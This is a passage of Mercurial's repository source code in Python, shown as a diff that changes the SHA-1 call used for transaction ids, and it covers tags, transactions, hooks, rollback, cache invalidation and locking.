             m = revset.matchany(None, specs, localalias=localalias)
         return m(self)
 
     def url(self):
         return b'file:' + self.root
 
     def hook(self, name, throw=False, **args):
         """Call a hook, passing this repo instance.
 
         This a convenience method to aid invoking hooks. Extensions likely
         won't call this unless they have registered a custom hook or are
         replacing code that is expected to call a hook.
         """
         return hook.hook(self.ui, self, name, throw, **args)
 
     @filteredpropertycache
     def _tagscache(self):
         '''Returns a tagscache object that contains various tags related
         caches.'''
 
         # This simplifies its cache management by having one decorated
         # function (this one) and the rest simply fetch things from it.
         class tagscache(object):
             def __init__(self):
                 # These two define the set of tags for this repository. tags
                 # maps tag name to node; tagtypes maps tag name to 'global' or
                 # 'local'. (Global tags are defined by .hgtags across all
                 # heads, and local tags are defined in .hg/localtags.)
                 # They constitute the in-memory cache of tags.
                 self.tags = self.tagtypes = None
 
                 self.nodetagscache = self.tagslist = None
 
         cache = tagscache()
         cache.tags, cache.tagtypes = self._findtags()
 
         return cache
 
     def tags(self):
         '''return a mapping of tag to node'''
         t = {}
         if self.changelog.filteredrevs:
             tags, tt = self._findtags()
         else:
             tags = self._tagscache.tags
         rev = self.changelog.rev
         for k, v in pycompat.iteritems(tags):
             try:
                 # ignore tags to unknown nodes
                 rev(v)
                 t[k] = v
             except (error.LookupError, ValueError):
                 pass
         return t
 
     def _findtags(self):
         '''Do the hard work of finding tags.  Return a pair of dicts
         (tags, tagtypes) where tags maps tag name to node, and tagtypes
         maps tag name to a string like \'global\' or \'local\'.
         Subclasses or extensions are free to add their own tags, but
         should be aware that the returned dicts will be retained for the
         duration of the localrepo object.'''
 
         # XXX what tagtype should subclasses/extensions use?  Currently
         # mq and bookmarks add tags, but do not set the tagtype at all.
         # Should each extension invent its own tag type?  Should there
         # be one tagtype for all such "virtual" tags?  Or is the status
         # quo fine?
 
         # map tag name to (node, hist)
         alltags = tagsmod.findglobaltags(self.ui, self)
         # map tag name to tag type
         tagtypes = dict((tag, b'global') for tag in alltags)
 
         tagsmod.readlocaltags(self.ui, self, alltags, tagtypes)
 
         # Build the return dicts.  Have to re-encode tag names because
         # the tags module always uses UTF-8 (in order not to lose info
         # writing to the cache), but the rest of Mercurial wants them in
         # local encoding.
         tags = {}
         for (name, (node, hist)) in pycompat.iteritems(alltags):
             if node != nullid:
                 tags[encoding.tolocal(name)] = node
         tags[b'tip'] = self.changelog.tip()
         tagtypes = dict(
             [
                 (encoding.tolocal(name), value)
                 for (name, value) in pycompat.iteritems(tagtypes)
             ]
         )
         return (tags, tagtypes)
 
     def tagtype(self, tagname):
         '''
         return the type of the given tag. result can be:
 
         'local'  : a local tag
         'global' : a global tag
         None     : tag does not exist
         '''
 
         return self._tagscache.tagtypes.get(tagname)
 
     def tagslist(self):
         '''return a list of tags ordered by revision'''
         if not self._tagscache.tagslist:
             l = []
             for t, n in pycompat.iteritems(self.tags()):
                 l.append((self.changelog.rev(n), t, n))
             self._tagscache.tagslist = [(t, n) for r, t, n in sorted(l)]
 
         return self._tagscache.tagslist
 
     def nodetags(self, node):
         '''return the tags associated with a node'''
         if not self._tagscache.nodetagscache:
             nodetagscache = {}
             for t, n in pycompat.iteritems(self._tagscache.tags):
                 nodetagscache.setdefault(n, []).append(t)
             for tags in pycompat.itervalues(nodetagscache):
                 tags.sort()
             self._tagscache.nodetagscache = nodetagscache
         return self._tagscache.nodetagscache.get(node, [])
 
     def nodebookmarks(self, node):
         """return the list of bookmarks pointing to the specified node"""
         return self._bookmarks.names(node)
 
     def branchmap(self):
         '''returns a dictionary {branch: [branchheads]} with branchheads
         ordered by increasing revision number'''
         return self._branchcaches[self]
 
     @unfilteredmethod
     def revbranchcache(self):
         if not self._revbranchcache:
             self._revbranchcache = branchmap.revbranchcache(self.unfiltered())
         return self._revbranchcache
 
     def branchtip(self, branch, ignoremissing=False):
         '''return the tip node for a given branch
 
         If ignoremissing is True, then this method will not raise an error.
         This is helpful for callers that only expect None for a missing branch
         (e.g. namespace).
 
         '''
         try:
             return self.branchmap().branchtip(branch)
         except KeyError:
             if not ignoremissing:
                 raise error.RepoLookupError(_(b"unknown branch '%s'") % branch)
             else:
                 pass
 
     def lookup(self, key):
         node = scmutil.revsymbol(self, key).node()
         if node is None:
             raise error.RepoLookupError(_(b"unknown revision '%s'") % key)
         return node
 
     def lookupbranch(self, key):
         if self.branchmap().hasbranch(key):
             return key
 
         return scmutil.revsymbol(self, key).branch()
 
     def known(self, nodes):
         cl = self.changelog
         get_rev = cl.index.get_rev
         filtered = cl.filteredrevs
         result = []
         for n in nodes:
             r = get_rev(n)
             resp = not (r is None or r in filtered)
             result.append(resp)
         return result
 
     def local(self):
         return self
 
     def publishing(self):
         # it's safe (and desirable) to trust the publish flag unconditionally
         # so that we don't finalize changes shared between users via ssh or nfs
         return self.ui.configbool(b'phases', b'publish', untrusted=True)
 
     def cancopy(self):
         # so statichttprepo's override of local() works
         if not self.local():
             return False
         if not self.publishing():
             return True
         # if publishing we can't copy if there is filtered content
         return not self.filtered(b'visible').changelog.filteredrevs
 
     def shared(self):
         '''the type of shared repository (None if not shared)'''
         if self.sharedpath != self.path:
             return b'store'
         return None
 
     def wjoin(self, f, *insidef):
         return self.vfs.reljoin(self.root, f, *insidef)
 
     def setparents(self, p1, p2=nullid):
         self[None].setparents(p1, p2)
 
     def filectx(self, path, changeid=None, fileid=None, changectx=None):
         """changeid must be a changeset revision, if specified.
            fileid can be a file revision or node."""
         return context.filectx(
             self, path, changeid, fileid, changectx=changectx
         )
 
     def getcwd(self):
         return self.dirstate.getcwd()
 
     def pathto(self, f, cwd=None):
         return self.dirstate.pathto(f, cwd)
 
     def _loadfilter(self, filter):
         if filter not in self._filterpats:
             l = []
             for pat, cmd in self.ui.configitems(filter):
                 if cmd == b'!':
                     continue
                 mf = matchmod.match(self.root, b'', [pat])
                 fn = None
                 params = cmd
                 for name, filterfn in pycompat.iteritems(self._datafilters):
                     if cmd.startswith(name):
                         fn = filterfn
                         params = cmd[len(name) :].lstrip()
                         break
                 if not fn:
                     fn = lambda s, c, **kwargs: procutil.filter(s, c)
                     fn.__name__ = 'commandfilter'
                 # Wrap old filters not supporting keyword arguments
                 if not pycompat.getargspec(fn)[2]:
                     oldfn = fn
                     fn = lambda s, c, oldfn=oldfn, **kwargs: oldfn(s, c)
                     fn.__name__ = 'compat-' + oldfn.__name__
                 l.append((mf, fn, params))
             self._filterpats[filter] = l
         return self._filterpats[filter]
 
     def _filter(self, filterpats, filename, data):
         for mf, fn, cmd in filterpats:
             if mf(filename):
                 self.ui.debug(
                     b"filtering %s through %s\n"
                     % (filename, cmd or pycompat.sysbytes(fn.__name__))
                 )
                 data = fn(data, cmd, ui=self.ui, repo=self, filename=filename)
                 break
 
         return data
 
     @unfilteredpropertycache
     def _encodefilterpats(self):
         return self._loadfilter(b'encode')
 
     @unfilteredpropertycache
     def _decodefilterpats(self):
         return self._loadfilter(b'decode')
 
     def adddatafilter(self, name, filter):
         self._datafilters[name] = filter
 
     def wread(self, filename):
         if self.wvfs.islink(filename):
             data = self.wvfs.readlink(filename)
         else:
             data = self.wvfs.read(filename)
         return self._filter(self._encodefilterpats, filename, data)
 
     def wwrite(self, filename, data, flags, backgroundclose=False, **kwargs):
         """write ``data`` into ``filename`` in the working directory
 
         This returns length of written (maybe decoded) data.
         """
         data = self._filter(self._decodefilterpats, filename, data)
         if b'l' in flags:
             self.wvfs.symlink(data, filename)
         else:
             self.wvfs.write(
                 filename, data, backgroundclose=backgroundclose, **kwargs
             )
             if b'x' in flags:
                 self.wvfs.setflags(filename, False, True)
             else:
                 self.wvfs.setflags(filename, False, False)
         return len(data)
 
     def wwritedata(self, filename, data):
         return self._filter(self._decodefilterpats, filename, data)
 
     def currenttransaction(self):
         """return the current transaction or None if non exists"""
         if self._transref:
             tr = self._transref()
         else:
             tr = None
 
         if tr and tr.running():
             return tr
         return None
 
     def transaction(self, desc, report=None):
         if self.ui.configbool(b'devel', b'all-warnings') or self.ui.configbool(
             b'devel', b'check-locks'
         ):
             if self._currentlock(self._lockref) is None:
                 raise error.ProgrammingError(b'transaction requires locking')
         tr = self.currenttransaction()
         if tr is not None:
             return tr.nest(name=desc)
 
         # abort here if the journal already exists
         if self.svfs.exists(b"journal"):
             raise error.RepoError(
                 _(b"abandoned transaction found"),
                 hint=_(b"run 'hg recover' to clean up transaction"),
             )
 
         idbase = b"%.40f#%f" % (random.random(), time.time())
-        ha = hex(hashlib.sha1(idbase).digest())
+        ha = hex(hashutil.sha1(idbase).digest())
         txnid = b'TXN:' + ha
         self.hook(b'pretxnopen', throw=True, txnname=desc, txnid=txnid)
 
         self._writejournal(desc)
         renames = [(vfs, x, undoname(x)) for vfs, x in self._journalfiles()]
         if report:
             rp = report
         else:
             rp = self.ui.warn
         vfsmap = {b'plain': self.vfs, b'store': self.svfs}  # root of .hg/
         # we must avoid cyclic reference between repo and transaction.
         reporef = weakref.ref(self)
         # Code to track tag movement
         #
         # Since tags are all handled as file content, it is actually quite hard
         # to track these movement from a code perspective. So we fallback to a
         # tracking at the repository level. One could envision to track changes
         # to the '.hgtags' file through changegroup apply but that fails to
         # cope with case where transaction expose new heads without changegroup
         # being involved (eg: phase movement).
         #
         # For now, We gate the feature behind a flag since this likely comes
         # with performance impacts. The current code run more often than needed
         # and do not use caches as much as it could.  The current focus is on
         # the behavior of the feature so we disable it by default. The flag
         # will be removed when we are happy with the performance impact.
         #
         # Once this feature is no longer experimental move the following
         # documentation to the appropriate help section:
         #
         # The ``HG_TAG_MOVED`` variable will be set if the transaction touched
         # tags (new or changed or deleted tags). In addition the details of
         # these changes are made available in a file at:
         #     ``REPOROOT/.hg/changes/tags.changes``.
         # Make sure you check for HG_TAG_MOVED before reading that file as it
         # might exist from a previous transaction even if no tag were touched
         # in this one. Changes are recorded in a line base format::
         #
         #     <action> <hex-node> <tag-name>\n
         #
         # Actions are defined as follow:
         #   "-R": tag is removed,
         #   "+A": tag is added,
         #   "-M": tag is moved (old value),
         #   "+M": tag is moved (new value),
         tracktags = lambda x: None
         # experimental config: experimental.hook-track-tags
         shouldtracktags = self.ui.configbool(
             b'experimental', b'hook-track-tags'
         )
         if desc != b'strip' and shouldtracktags:
             oldheads = self.changelog.headrevs()
 
             def tracktags(tr2):
                 repo = reporef()
                 oldfnodes = tagsmod.fnoderevs(repo.ui, repo, oldheads)
                 newheads = repo.changelog.headrevs()
                 newfnodes = tagsmod.fnoderevs(repo.ui, repo, newheads)
                 # notes: we compare lists here.
                 # As we do it only once buiding set would not be cheaper
                 changes = tagsmod.difftags(repo.ui, repo, oldfnodes, newfnodes)
                 if changes:
                     tr2.hookargs[b'tag_moved'] = b'1'
                     with repo.vfs(
                         b'changes/tags.changes', b'w', atomictemp=True
                     ) as changesfile:
                         # note: we do not register the file to the transaction
                         # because we needs it to still exist on the transaction
                         # is close (for txnclose hooks)
                         tagsmod.writediff(changesfile, changes)
 
         def validate(tr2):
             """will run pre-closing hooks"""
             # XXX the transaction API is a bit lacking here so we take a hacky
             # path for now
             #
             # We cannot add this as a "pending" hooks since the 'tr.hookargs'
             # dict is copied before these run. In addition we needs the data
             # available to in memory hooks too.
             #
             # Moreover, we also need to make sure this runs before txnclose
             # hooks and there is no "pending" mechanism that would execute
             # logic only if hooks are about to run.
             #
             # Fixing this limitation of the transaction is also needed to track
             # other families of changes (bookmarks, phases, obsolescence).
             #
             # This will have to be fixed before we remove the experimental
             # gating.
             tracktags(tr2)
             repo = reporef()
 
             singleheadopt = (b'experimental', b'single-head-per-branch')
             singlehead = repo.ui.configbool(*singleheadopt)
             if singlehead:
                 singleheadsub = repo.ui.configsuboptions(*singleheadopt)[1]
                 accountclosed = singleheadsub.get(
                     b"account-closed-heads", False
                 )
                 scmutil.enforcesinglehead(repo, tr2, desc, accountclosed)
             if hook.hashook(repo.ui, b'pretxnclose-bookmark'):
                 for name, (old, new) in sorted(
                     tr.changes[b'bookmarks'].items()
                 ):
                     args = tr.hookargs.copy()
                     args.update(bookmarks.preparehookargs(name, old, new))
                     repo.hook(
                         b'pretxnclose-bookmark',
                         throw=True,
                         **pycompat.strkwargs(args)
                     )
             if hook.hashook(repo.ui, b'pretxnclose-phase'):
                 cl = repo.unfiltered().changelog
                 for rev, (old, new) in tr.changes[b'phases'].items():
                     args = tr.hookargs.copy()
                     node = hex(cl.node(rev))
                     args.update(phases.preparehookargs(node, old, new))
                     repo.hook(
                         b'pretxnclose-phase',
                         throw=True,
                         **pycompat.strkwargs(args)
                     )
 
             repo.hook(
                 b'pretxnclose', throw=True, **pycompat.strkwargs(tr.hookargs)
             )
 
         def releasefn(tr, success):
             repo = reporef()
             if repo is None:
                 # If the repo has been GC'd (and this release function is being
                 # called from transaction.__del__), there's not much we can do,
                 # so just leave the unfinished transaction there and let the
                 # user run `hg recover`.
                 return
             if success:
                 # this should be explicitly invoked here, because
                 # in-memory changes aren't written out at closing
                 # transaction, if tr.addfilegenerator (via
                 # dirstate.write or so) isn't invoked while
                 # transaction running
                 repo.dirstate.write(None)
             else:
                 # discard all changes (including ones already written
                 # out) in this transaction
                 narrowspec.restorebackup(self, b'journal.narrowspec')
                 narrowspec.restorewcbackup(self, b'journal.narrowspec.dirstate')
                 repo.dirstate.restorebackup(None, b'journal.dirstate')
 
                 repo.invalidate(clearfilecache=True)
 
         tr = transaction.transaction(
             rp,
             self.svfs,
             vfsmap,
             b"journal",
             b"undo",
             aftertrans(renames),
             self.store.createmode,
             validator=validate,
             releasefn=releasefn,
             checkambigfiles=_cachedfiles,
             name=desc,
         )
         tr.changes[b'origrepolen'] = len(self)
         tr.changes[b'obsmarkers'] = set()
         tr.changes[b'phases'] = {}
         tr.changes[b'bookmarks'] = {}
 
         tr.hookargs[b'txnid'] = txnid
         tr.hookargs[b'txnname'] = desc
         # note: writing the fncache only during finalize mean that the file is
         # outdated when running hooks. As fncache is used for streaming clone,
         # this is not expected to break anything that happen during the hooks.
         tr.addfinalize(b'flush-fncache', self.store.write)
 
         def txnclosehook(tr2):
             """To be run if transaction is successful, will schedule a hook run
             """
             # Don't reference tr2 in hook() so we don't hold a reference.
             # This reduces memory consumption when there are multiple
             # transactions per lock. This can likely go away if issue5045
             # fixes the function accumulation.
             hookargs = tr2.hookargs
 
             def hookfunc(unused_success):
                 repo = reporef()
                 if hook.hashook(repo.ui, b'txnclose-bookmark'):
                     bmchanges = sorted(tr.changes[b'bookmarks'].items())
                     for name, (old, new) in bmchanges:
                         args = tr.hookargs.copy()
                         args.update(bookmarks.preparehookargs(name, old, new))
                         repo.hook(
                             b'txnclose-bookmark',
                             throw=False,
                             **pycompat.strkwargs(args)
                         )
 
                 if hook.hashook(repo.ui, b'txnclose-phase'):
                     cl = repo.unfiltered().changelog
                     phasemv = sorted(tr.changes[b'phases'].items())
                     for rev, (old, new) in phasemv:
                         args = tr.hookargs.copy()
                         node = hex(cl.node(rev))
                         args.update(phases.preparehookargs(node, old, new))
                         repo.hook(
                             b'txnclose-phase',
                             throw=False,
                             **pycompat.strkwargs(args)
                         )
 
                 repo.hook(
                     b'txnclose', throw=False, **pycompat.strkwargs(hookargs)
                 )
 
             reporef()._afterlock(hookfunc)
 
         tr.addfinalize(b'txnclose-hook', txnclosehook)
         # Include a leading "-" to make it happen before the transaction summary
         # reports registered via scmutil.registersummarycallback() whose names
         # are 00-txnreport etc. That way, the caches will be warm when the
         # callbacks run.
         tr.addpostclose(b'-warm-cache', self._buildcacheupdater(tr))
 
         def txnaborthook(tr2):
             """To be run if transaction is aborted
             """
             reporef().hook(
                 b'txnabort', throw=False, **pycompat.strkwargs(tr2.hookargs)
             )
 
         tr.addabort(b'txnabort-hook', txnaborthook)
         # avoid eager cache invalidation. in-memory data should be identical
         # to stored data if transaction has no error.
         tr.addpostclose(b'refresh-filecachestats', self._refreshfilecachestats)
         self._transref = weakref.ref(tr)
         scmutil.registersummarycallback(self, tr, desc)
         return tr
 
     def _journalfiles(self):
         return (
             (self.svfs, b'journal'),
             (self.svfs, b'journal.narrowspec'),
             (self.vfs, b'journal.narrowspec.dirstate'),
             (self.vfs, b'journal.dirstate'),
             (self.vfs, b'journal.branch'),
             (self.vfs, b'journal.desc'),
             (bookmarks.bookmarksvfs(self), b'journal.bookmarks'),
             (self.svfs, b'journal.phaseroots'),
         )
 
     def undofiles(self):
         return [(vfs, undoname(x)) for vfs, x in self._journalfiles()]
 
     @unfilteredmethod
     def _writejournal(self, desc):
         self.dirstate.savebackup(None, b'journal.dirstate')
         narrowspec.savewcbackup(self, b'journal.narrowspec.dirstate')
         narrowspec.savebackup(self, b'journal.narrowspec')
         self.vfs.write(
             b"journal.branch", encoding.fromlocal(self.dirstate.branch())
         )
         self.vfs.write(b"journal.desc", b"%d\n%s\n" % (len(self), desc))
         bookmarksvfs = bookmarks.bookmarksvfs(self)
         bookmarksvfs.write(
             b"journal.bookmarks", bookmarksvfs.tryread(b"bookmarks")
         )
         self.svfs.write(b"journal.phaseroots", self.svfs.tryread(b"phaseroots"))
 
     def recover(self):
         with self.lock():
             if self.svfs.exists(b"journal"):
                 self.ui.status(_(b"rolling back interrupted transaction\n"))
                 vfsmap = {
                     b'': self.svfs,
                     b'plain': self.vfs,
                 }
                 transaction.rollback(
                     self.svfs,
                     vfsmap,
                     b"journal",
                     self.ui.warn,
                     checkambigfiles=_cachedfiles,
                 )
                 self.invalidate()
                 return True
             else:
                 self.ui.warn(_(b"no interrupted transaction available\n"))
                 return False
 
     def rollback(self, dryrun=False, force=False):
         wlock = lock = dsguard = None
         try:
             wlock = self.wlock()
             lock = self.lock()
             if self.svfs.exists(b"undo"):
                 dsguard = dirstateguard.dirstateguard(self, b'rollback')
 
                 return self._rollback(dryrun, force, dsguard)
             else:
                 self.ui.warn(_(b"no rollback information available\n"))
                 return 1
         finally:
             release(dsguard, lock, wlock)
 
     @unfilteredmethod  # Until we get smarter cache management
     def _rollback(self, dryrun, force, dsguard):
         ui = self.ui
         try:
             args = self.vfs.read(b'undo.desc').splitlines()
             (oldlen, desc, detail) = (int(args[0]), args[1], None)
             if len(args) >= 3:
                 detail = args[2]
             oldtip = oldlen - 1
 
             if detail and ui.verbose:
                 msg = _(
                     b'repository tip rolled back to revision %d'
                     b' (undo %s: %s)\n'
                 ) % (oldtip, desc, detail)
             else:
                 msg = _(
                     b'repository tip rolled back to revision %d (undo %s)\n'
                 ) % (oldtip, desc)
         except IOError:
             msg = _(b'rolling back unknown transaction\n')
             desc = None
 
         if not force and self[b'.'] != self[b'tip'] and desc == b'commit':
             raise error.Abort(
                 _(
                     b'rollback of last commit while not checked out '
                     b'may lose data'
                 ),
                 hint=_(b'use -f to force'),
             )
 
         ui.status(msg)
         if dryrun:
             return 0
 
         parents = self.dirstate.parents()
         self.destroying()
         vfsmap = {b'plain': self.vfs, b'': self.svfs}
         transaction.rollback(
             self.svfs, vfsmap, b'undo', ui.warn, checkambigfiles=_cachedfiles
         )
         bookmarksvfs = bookmarks.bookmarksvfs(self)
         if bookmarksvfs.exists(b'undo.bookmarks'):
             bookmarksvfs.rename(
                 b'undo.bookmarks', b'bookmarks', checkambig=True
             )
         if self.svfs.exists(b'undo.phaseroots'):
             self.svfs.rename(b'undo.phaseroots', b'phaseroots', checkambig=True)
         self.invalidate()
 
         has_node = self.changelog.index.has_node
         parentgone = any(not has_node(p) for p in parents)
         if parentgone:
             # prevent dirstateguard from overwriting already restored one
             dsguard.close()
 
             narrowspec.restorebackup(self, b'undo.narrowspec')
             narrowspec.restorewcbackup(self, b'undo.narrowspec.dirstate')
             self.dirstate.restorebackup(None, b'undo.dirstate')
             try:
                 branch = self.vfs.read(b'undo.branch')
                 self.dirstate.setbranch(encoding.tolocal(branch))
             except IOError:
                 ui.warn(
                     _(
                         b'named branch could not be reset: '
                         b'current branch is still \'%s\'\n'
                     )
                     % self.dirstate.branch()
                 )
 
             parents = tuple([p.rev() for p in self[None].parents()])
             if len(parents) > 1:
                 ui.status(
                     _(
                         b'working directory now based on '
                         b'revisions %d and %d\n'
                     )
                     % parents
                 )
             else:
                 ui.status(
                     _(b'working directory now based on revision %d\n') % parents
                 )
             mergemod.mergestate.clean(self, self[b'.'].node())
 
         # TODO: if we know which new heads may result from this rollback, pass
         # them to destroy(), which will prevent the branchhead cache from being
         # invalidated.
         self.destroyed()
         return 0
 
     def _buildcacheupdater(self, newtransaction):
         """called during transaction to build the callback updating cache
 
         Lives on the repository to help extension who might want to augment
         this logic. For this purpose, the created transaction is passed to the
         method.
         """
         # we must avoid cyclic reference between repo and transaction.
         reporef = weakref.ref(self)
 
         def updater(tr):
             repo = reporef()
             repo.updatecaches(tr)
 
         return updater
 
     @unfilteredmethod
     def updatecaches(self, tr=None, full=False):
         """warm appropriate caches
 
         If this function is called after a transaction closed. The transaction
         will be available in the 'tr' argument. This can be used to selectively
         update caches relevant to the changes in that transaction.
 
         If 'full' is set, make sure all caches the function knows about have
         up-to-date data. Even the ones usually loaded more lazily.
         """
         if tr is not None and tr.hookargs.get(b'source') == b'strip':
             # During strip, many caches are invalid but
             # later call to `destroyed` will refresh them.
             return
 
         if tr is None or tr.changes[b'origrepolen'] < len(self):
             # accessing the 'ser ved' branchmap should refresh all the others,
             self.ui.debug(b'updating the branch cache\n')
             self.filtered(b'served').branchmap()
             self.filtered(b'served.hidden').branchmap()
 
         if full:
             unfi = self.unfiltered()
             rbc = unfi.revbranchcache()
             for r in unfi.changelog:
                 rbc.branchinfo(r)
             rbc.write()
 
             # ensure the working copy parents are in the manifestfulltextcache
             for ctx in self[b'.'].parents():
                 ctx.manifest()  # accessing the manifest is enough
 
             # accessing fnode cache warms the cache
             tagsmod.fnoderevs(self.ui, unfi, unfi.changelog.revs())
             # accessing tags warm the cache
             self.tags()
             self.filtered(b'served').tags()
 
             # The `full` arg is documented as updating even the lazily-loaded
             # caches immediately, so we're forcing a write to cause these caches
             # to be warmed up even if they haven't explicitly been requested
             # yet (if they've never been used by hg, they won't ever have been
             # written, even if they're a subset of another kind of cache that
             # *has* been used).
             for filt in repoview.filtertable.keys():
                 filtered = self.filtered(filt)
                 filtered.branchmap().write(filtered)
 
     def invalidatecaches(self):
 
         if '_tagscache' in vars(self):
             # can't use delattr on proxy
             del self.__dict__['_tagscache']
 
         self._branchcaches.clear()
         self.invalidatevolatilesets()
         self._sparsesignaturecache.clear()
 
     def invalidatevolatilesets(self):
         self.filteredrevcache.clear()
         obsolete.clearobscaches(self)
 
     def invalidatedirstate(self):
         '''Invalidates the dirstate, causing the next call to dirstate
         to check if it was modified since the last time it was read,
         rereading it if it has.
 
         This is different to dirstate.invalidate() that it doesn't always
         rereads the dirstate. Use dirstate.invalidate() if you want to
         explicitly read the dirstate again (i.e. restoring it to a previous
         known good state).'''
         if hasunfilteredcache(self, 'dirstate'):
             for k in self.dirstate._filecache:
                 try:
                     delattr(self.dirstate, k)
                 except AttributeError:
                     pass
             delattr(self.unfiltered(), 'dirstate')
 
     def invalidate(self, clearfilecache=False):
         '''Invalidates both store and non-store parts other than dirstate
 
         If a transaction is running, invalidation of store is omitted,
         because discarding in-memory changes might cause inconsistency
         (e.g. incomplete fncache causes unintentional failure, but
         redundant one doesn't).
         '''
         unfiltered = self.unfiltered()  # all file caches are stored unfiltered
         for k in list(self._filecache.keys()):
             # dirstate is invalidated separately in invalidatedirstate()
             if k == b'dirstate':
                 continue
             if (
                 k == b'changelog'
                 and self.currenttransaction()
                 and self.changelog._delayed
             ):
                 # The changelog object may store unwritten revisions. We don't
                 # want to lose them.
                 # TODO: Solve the problem instead of working around it.
                 continue
 
             if clearfilecache:
                 del self._filecache[k]
             try:
                 delattr(unfiltered, k)
             except AttributeError:
                 pass
         self.invalidatecaches()
         if not self.currenttransaction():
             # TODO: Changing contents of store outside transaction
             # causes inconsistency. We should make in-memory store
             # changes detectable, and abort if changed.
             self.store.invalidatecaches()
 
     def invalidateall(self):
         '''Fully invalidates both store and non-store parts, causing the
         subsequent operation to reread any outside changes.'''
         # extension should hook this to invalidate its caches
         self.invalidate()
         self.invalidatedirstate()
 
     @unfilteredmethod
     def _refreshfilecachestats(self, tr):
         """Reload stats of cached files so that they are flagged as valid"""
         for k, ce in self._filecache.items():
             k = pycompat.sysstr(k)
             if k == 'dirstate' or k not in self.__dict__:
                 continue
             ce.refresh()
 
     def _lock(
         self,
         vfs,
         lockname,
         wait,
         releasefn,
         acquirefn,
         desc,
         inheritchecker=None,
         parentenvvar=None,
     ):
         parentlock = None
         # the contents of parentenvvar are used by the underlying lock to
         # determine whether it can be inherited
         if parentenvvar is not None:
             parentlock = encoding.environ.get(parentenvvar)
 
         timeout = 0
         warntimeout = 0
         if wait:
             timeout = self.ui.configint(b"ui", b"timeout")
             warntimeout = self.ui.configint(b"ui", b"timeout.warn")
         # internal config: ui.signal-safe-lock
         signalsafe = self.ui.configbool(b'ui', b'signal-safe-lock')
 
         l = lockmod.trylock(
             self.ui,
             vfs,
             lockname,
             timeout,
             warntimeout,
             releasefn=releasefn,
             acquirefn=acquirefn,
             desc=desc,
             inheritchecker=inheritchecker,
             parentlock=parentlock,
             signalsafe=signalsafe,
         )
         return l
 
     def _afterlock(self, callback):
         """add a callback to be run when the repository is fully unlocked
 
         The callback will be executed when the outermost lock is released
         (with wlock being higher level than 'lock')."""
         for ref in (self._wlockref, self._lockref):
             l = ref and ref()
             if l and l.held:
                 l.postrelease.append(callback)
                 break
         else:  # no lock have been found.
             callback(True)
 
     def lock(self, wait=True):
         '''Lock the repository store (.hg/store) and return a weak reference
         to the lock. Use this before modifying the store (e.g. committing or
         stripping). If you are opening a transaction, get a lock as well.)
 
         If both 'lock' and 'wlock' must be acquired, ensure you always acquires
         'wlock' first to avoid a dead-lock hazard.'''
         l = self._currentlock(self._lockref)
         if l is not None:
             l.lock()
             return l
 
         l = self._lock(
             vfs=self.svfs,
             lockname=b"lock",
             wait=wait,
             releasefn=None,
             acquirefn=self.invalidate,
             desc=_(b'repository %s') % self.origroot,
         )
         self._lockref = weakref.ref(l)
         return l
 
     def _wlockchecktransaction(self):
         if self.currenttransaction() is not None:
             raise error.LockInheritanceContractViolation(
                 b'wlock cannot be inherited in the middle of a transaction'
             )
 
     def wlock(self, wait=True):
         '''Lock the non-store parts of the repository (everything under
         .hg except .hg/store) and return a weak reference to the lock.
 
         Use this before modifying files in .hg.
 
         If both 'lock' and 'wlock' must be acquired, ensure you always acquires
         'wlock' first to avoid a dead-lock hazard.'''
         l = self._wlockref and self._wlockref()
         if l is not None and l.held:
             l.lock()
             return l
 
         # We do not need to check for non-waiting lock acquisition.  Such
         # acquisition would not cause dead-lock as they would just fail.
         if wait and (
             self.ui.configbool(b'devel', b'all-warnings')
             or self.ui.configbool(b'devel', b'check-locks')
         ):
             if self._currentlock(self._lockref) is not None:
                 self.ui.develwarn(b'"wlock" acquired after "lock"')
 
         def unlock():
             if self.dirstate.pendingparentchange():
                 self.dirstate.invalidate()
             else:
                 self.dirstate.write(None)
 
             self._filecache[b'dirstate'].refresh()
 
         l = self._lock(
             self.vfs,
             b"wlock",
             wait,
             unlock,
             self.invalidatedirstate,
             _(b'working directory of %s') % self.origroot,
             inheritchecker=self._wlockchecktransaction,
             parentenvvar=b'HG_WLOCK_LOCKER',
         )
         self._wlockref = weakref.ref(l)
         return l
 
     def _currentlock(self, lockref):
         """Returns the lock if it's held, or None if it's not."""
         if lockref is None:
             return None
         l = lockref()
         if l is None or not l.held:
             return None
         return l
 
     def currentwlock(self):
         """Returns the wlock if it's held, or None if it's not."""
         return self._currentlock(self._wlockref)
 
     def _filecommit(
         self,
         fctx,
         manifest1,
         manifest2,
         linkrev,
         tr,
         changelist,
         includecopymeta,
     ):
         """
         commit an individual file as part of a larger transaction
         """
 
         fname = fctx.path()
         fparent1 = manifest1.get(fname, nullid)
         fparent2 = manifest2.get(fname, nullid)
         if isinstance(fctx, context.filectx):
             node = fctx.filenode()
             if node in [fparent1, fparent2]:
                 self.ui.debug(b'reusing %s filelog entry\n' % fname)
                 if (
                     fparent1 != nullid
                     and manifest1.flags(fname) != fctx.flags()
                 ) or (
                     fparent2 != nullid
                     and manifest2.flags(fname) != fctx.flags()
                 ):
                     changelist.append(fname)
                 return node
 
         flog = self.file(fname)
         meta = {}
         cfname = fctx.copysource()
         if cfname and cfname != fname:
             # Mark the new revision of this file as a copy of another
             # file.  This copy data will effectively act as a parent
             # of this new revision.  If this is a merge, the first
             # parent will be the nullid (meaning "look up the copy data")
             # and the second one will be the other parent.  For example:
             #
             # 0 --- 1 --- 3   rev1 changes file foo
             #   \       /     rev2 renames foo to bar and changes it
             #    \- 2 -/      rev3 should have bar with all changes and
             #                      should record that bar descends from
             #                      bar in rev2 and foo in rev1
             #
             # this allows this merge to succeed:
             #
             # 0 --- 1 --- 3   rev4 reverts the content change from rev2
             #   \       /     merging rev3 and rev4 should use bar@rev2
             #    \- 2 --- 4        as the merge base
             #
 
             cnode = manifest1.get(cfname)
             newfparent = fparent2
 
             if manifest2:  # branch merge
                 if fparent2 == nullid or cnode is None:  # copied on remote side
                     if cfname in manifest2:
                         cnode = manifest2[cfname]
                         newfparent = fparent1
 
             # Here, we used to search backwards through history to try to find
             # where the file copy came from if the source of a copy was not in
             # the parent directory. However, this doesn't actually make sense to
             # do (what does a copy from something not in your working copy even
             # mean?) and it causes bugs (eg, issue4476). Instead, we will warn
             # the user that copy information was dropped, so if they didn't
             # expect this outcome it can be fixed, but this is the correct
             # behavior in this circumstance.
 
             if cnode:
                 self.ui.debug(
                     b" %s: copy %s:%s\n" % (fname, cfname, hex(cnode))
                 )
                 if includecopymeta:
                     meta[b"copy"] = cfname
                     meta[b"copyrev"] = hex(cnode)
                 fparent1, fparent2 = nullid, newfparent
             else:
                 self.ui.warn(
                     _(
                         b"warning: can't find ancestor for '%s' "
